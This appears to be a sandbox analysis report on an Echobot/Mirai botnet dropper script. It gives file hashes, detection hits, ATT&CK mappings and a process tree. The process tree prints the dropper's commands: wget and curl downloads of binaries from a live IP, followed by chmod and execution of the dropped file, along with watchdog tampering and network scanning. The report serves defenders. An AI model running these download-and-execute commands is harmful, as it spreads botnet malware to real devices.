echobot | 7a091ce1dfccdfff5db4938ebd85a0a088b255a1ddc0bae4431e160316ef8995

General

Target

8UsA.sh
Size

1KB
MD5

17bed510a00fcaba1dfad2de86d3f0ac
SHA1

bd93c9b1642d9291731933387f1d751c85c6d323
SHA256

7a091ce1dfccdfff5db4938ebd85a0a088b255a1ddc0bae4431e160316ef8995
SHA512

27d29c3a78b954855c5d29b13a1f69fe8b5fdc4ac4533eccc82a35aab6cf3b9cf34b6990e09fe4fa1a35397bc0d786ecec3fb1b97d8d66cf8e5ef0ebdd149dc9

Score

10^/10

echobot mirai botnet defense_evasion discovery trojan

Malware Config

Signatures

Detected Echobot 2 IoCs

resource	yara_rule
behavioral3/files/fstream-1.dat	family_echobot
behavioral3/files/fstream-4.dat	family_echobot

Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
botnet trojan echobot
Echobot family
echobot
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (163865) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
729	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/3AvA	730	3AvA
/tmp/3AvA	746	3AvA

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	3AvA

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	4515od14d1fepdhgj0g	746	3AvA

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	3AvA

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/753/exe	3AvA
File opened for reading	/proc/450/exe	3AvA
File opened for reading	/proc/455/exe	3AvA
File opened for reading	/proc/479/exe	3AvA
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/747/exe	3AvA
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/478/exe	3AvA

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
733	wget
734	curl
743	cat
746	3AvA

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UnHAnaAW.x86	wget
File opened for modification	/tmp/UnHAnaAW.x86	curl
File opened for modification	/tmp/3AvA	8UsA.sh
File opened for modification	/tmp/UnHAnaAW.mips	wget
File opened for modification	/tmp/UnHAnaAW.mips	curl
File opened for modification	/tmp/UnHAnaAW.mpsl	wget

/tmp/8UsA.sh
/tmp/8UsA.sh
1⤵
- Writes file to tmp directory
PID:698
- /usr/bin/wget
  wget http://141.98.10.115/bins/UnHAnaAW.x86
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://141.98.10.115/bins/UnHAnaAW.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/cat
  cat UnHAnaAW.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x 3AvA 8UsA.sh systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-N7CcjL UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/3AvA
  ./3AvA x86
  2⤵
  - Executes dropped EXE
  PID:730
- /usr/bin/wget
  wget http://141.98.10.115/bins/UnHAnaAW.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://141.98.10.115/bins/UnHAnaAW.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/cat
  cat UnHAnaAW.mips
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod +x 3AvA 8UsA.sh UnHAnaAW.mips UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/3AvA
  ./3AvA mips
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:746
- /usr/bin/wget
  wget http://141.98.10.115/bins/UnHAnaAW.mpsl
  2⤵
  - Writes file to tmp directory
  PID:756
- /usr/bin/curl
  curl -O http://141.98.10.115/bins/UnHAnaAW.mpsl
  2⤵
  - Reads runtime system information
  PID:763

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

Impair Defenses

Credential Access

Discovery

Network Service Discovery

2

T1046

System Network Configuration Discovery

2

T1016

Internet Connection Discovery

1

T1016.001

System Network Connections Discovery

1

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/3AvA

Filesize
98KB

MD5
e4a5bb69952d1c35c29b3368e8fc17c6

SHA1
6f8e1ba0b25d60ccb607821337a07d533cbf46d0

SHA256
6fed6148fd27b402300a9e3b30e74af00c20af4cb0caa692f69d9e06b7f30eac

SHA512
8c7bf047abb4326a51229a6f777834aecf600a76d2f15f5fb62b529dfb24f81b376cae135993203356f453b7228fbba7a2f0deb77a64660a48294d61346b6583

Download Submit
/tmp/UnHAnaAW.x86

Filesize
69KB

MD5
fd52a40caadc60323f116d6c5d428aab

SHA1
abf8f199130a7b6a9a8886708a4e9f1c6c305cfc

SHA256
4de6ec9db86da28a37e3cc1ebd5958856212be7fb403829413277cb091507033

SHA512
d541dbfc62019444bc18561cdf3f823ab75fd78bf73b3debeb2ac145419d7e1f4e0a15fc67deca8f83582ac508ce06ace57c03cac03ec9d0164a7841547a1447

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads